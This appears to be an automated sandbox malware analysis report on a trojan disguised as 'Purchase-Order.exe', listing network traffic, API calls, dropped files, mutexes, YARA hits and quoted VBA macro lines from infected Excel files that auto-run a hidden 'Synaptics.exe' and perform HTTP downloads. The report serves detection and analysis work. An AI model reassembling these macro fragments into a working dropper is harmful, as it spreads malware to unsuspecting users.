Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50189 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50198 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50199 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:50214 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:50215 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50225 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50223 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50235 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50250 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50251 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50260 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50261 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50276 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50273 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50287 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50288 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50310 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50311 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50331 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50332 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50345 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50346 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50377 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:50376 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50379 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:50378 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50411 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50412 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50435 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50437 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50439 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50440 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50445 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50446 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50451 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50452 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50454 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50455 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50458 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50459 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50464 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50467 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50470 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50471 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50486 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50489 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50495 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50496 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50501 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50502 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50506 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:50505 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50508 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:50507 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50520 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50521 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50529 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50530 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50534 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50536 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50538 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50539 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50548 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50547 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50552 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50551 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50559 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50560 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:50565 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:50569 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50570 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50571 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50574 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:50575 version: TLS 1.2

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D97099 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

8_2_00D97099

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D97294 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

8_2_00D97294

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

8_2_00D97099

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D84342 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

8_2_00D84342

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00DAF5D0 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

8_2_00DAF5D0

System Summary

Document contains an embedded VBA macro with suspicious strings

Source: PNFX2U4z.xlsm.2.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: PNFX2U4z.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: PNFX2U4z.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: PNFX2U4z.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: PNFX2U4z.xlsm.2.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: PNFX2U4z.xlsm.2.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: PNFX2U4z.xlsm.2.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: PNFX2U4z.xlsm.2.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: PNFX2U4z.xlsm.2.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: PNFX2U4z.xlsm.2.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: PNFX2U4z.xlsm.2.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
Source: DVWHKMNFNN.xlsm.2.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: DVWHKMNFNN.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: DVWHKMNFNN.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: DVWHKMNFNN.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: DVWHKMNFNN.xlsm.2.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: DVWHKMNFNN.xlsm.2.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: DVWHKMNFNN.xlsm.2.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: DVWHKMNFNN.xlsm.2.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: DVWHKMNFNN.xlsm.2.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: DVWHKMNFNN.xlsm.2.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: DVWHKMNFNN.xlsm.2.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: PNFX2U4z.xlsm.2.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
Source: DVWHKMNFNN.xlsm.2.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write

Document contains an embedded VBA with functions possibly related to HTTP operations

Source: PNFX2U4z.xlsm.2.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
Source: DVWHKMNFNN.xlsm.2.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Source: PNFX2U4z.xlsm.2.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ
Source: DVWHKMNFNN.xlsm.2.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Purchase-Order.exe

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D870AE: CreateFileW,DeviceIoControl,CloseHandle,

8_2_00D870AE

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D7B9F1 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

8_2_00D7B9F1

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D882D0 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

8_2_00D882D0

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D4DCD0	8_2_00D4DCD0
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D4A0C0	8_2_00D4A0C0
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D60183	8_2_00D60183
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D8220C	8_2_00D8220C
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D48530	8_2_00D48530
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D60677	8_2_00D60677
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D46670	8_2_00D46670
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D78779	8_2_00D78779
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00DAA8DC	8_2_00DAA8DC
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D60A8F	8_2_00D60A8F
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D46BBC	8_2_00D46BBC
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D6AC83	8_2_00D6AC83
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D48CA0	8_2_00D48CA0
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D5AD5C	8_2_00D5AD5C
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D60EC4	8_2_00D60EC4
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D74EBF	8_2_00D74EBF
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00DA30AD	8_2_00DA30AD
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D7113E	8_2_00D7113E
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D612F9	8_2_00D612F9
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D7542F	8_2_00D7542F
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00DAF5D0	8_2_00DAF5D0
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D53680	8_2_00D53680
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D7599F	8_2_00D7599F
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D6DA74	8_2_00D6DA74
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D6BDF6	8_2_00D6BDF6
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D4BDF0	8_2_00D4BDF0
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D45D32	8_2_00D45D32
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D61E5A	8_2_00D61E5A
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D77FFD	8_2_00D77FFD
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D8BFB8	8_2_00D8BFB8
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D6DF69	8_2_00D6DF69

Source: PNFX2U4z.xlsm.2.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: PNFX2U4z.xlsm.2.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
Source: DVWHKMNFNN.xlsm.2.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: DVWHKMNFNN.xlsm.2.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)

Source: Joe Sandbox View

Dropped File: C:\ProgramData\Synaptics\RCX600B.tmp 449B6A3E32CEB8FC953EAF031B3E0D6EC9F2E59521570383D08DC57E5FFA3E19

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: String function: 00D67750 appears 42 times
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: String function: 00D5F885 appears 67 times

Source: Purchase-Order.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: Purchase-Order.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCX600B.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: ~$cache1.2.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: Purchase-Order.exe, 00000000.00000003.1705016698.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs Purchase-Order.exe
Source: Purchase-Order.exe, 00000000.00000003.1705016698.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileNamer vs Purchase-Order.exe
Source: Purchase-Order.exe, 00000000.00000003.1704969935.0000000002490000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs Purchase-Order.exe
Source: Purchase-Order.exe, 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs Purchase-Order.exe
Source: Purchase-Order.exe, 00000000.00000002.1705899917.0000000000903000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs Purchase-Order.exe
Source: Purchase-Order.exe, 00000000.00000003.1705016698.00000000008FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs Purchase-Order.exe
Source: Purchase-Order.exe, 00000000.00000000.1695510360.0000000000616000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameb! vs Purchase-Order.exe
Source: Purchase-Order.exe, 00000000.00000003.1702576403.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs Purchase-Order.exe

Source: Purchase-Order.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@22/158@23/4

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D8D712 GetLastError,FormatMessageW,

8_2_00D8D712

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D7B8B0 AdjustTokenPrivileges,CloseHandle,		8_2_00D7B8B0
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Code function: 8_2_00D7BEC3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		8_2_00D7BEC3

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D8EA85 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

8_2_00D8EA85

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D86F5B CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,CloseHandle,

8_2_00D86F5B

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D9C604 CoInitializeSecurity,_memset,_memset,CoCreateInstanceEx,CoTaskMemFree,CoSetProxyBlanket,

8_2_00D9C604

Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Code function: 8_2_00D431F2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

8_2_00D431F2

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Users\user\Desktop\Purchase-Order.exe

File created: C:\Users\user\Desktop\._cache_Purchase-Order.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:772:120:WilError_03
Source: C:\ProgramData\Synaptics\Synaptics.exe	Mutant created: \Sessions\1\BaseNamedObjects\Synaptics2X

Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe

File created: C:\Users\user\AppData\Local\Temp\LMDNDG.vbs

Jump to behavior

Source: Yara match	File source: Purchase-Order.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Purchase-Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCX600B.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe

Process created: C:\Windows\SysWOW64\wscript.exe WSCript C:\Users\user\AppData\Local\Temp\LMDNDG.vbs

Source: C:\Users\user\Desktop\Purchase-Order.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
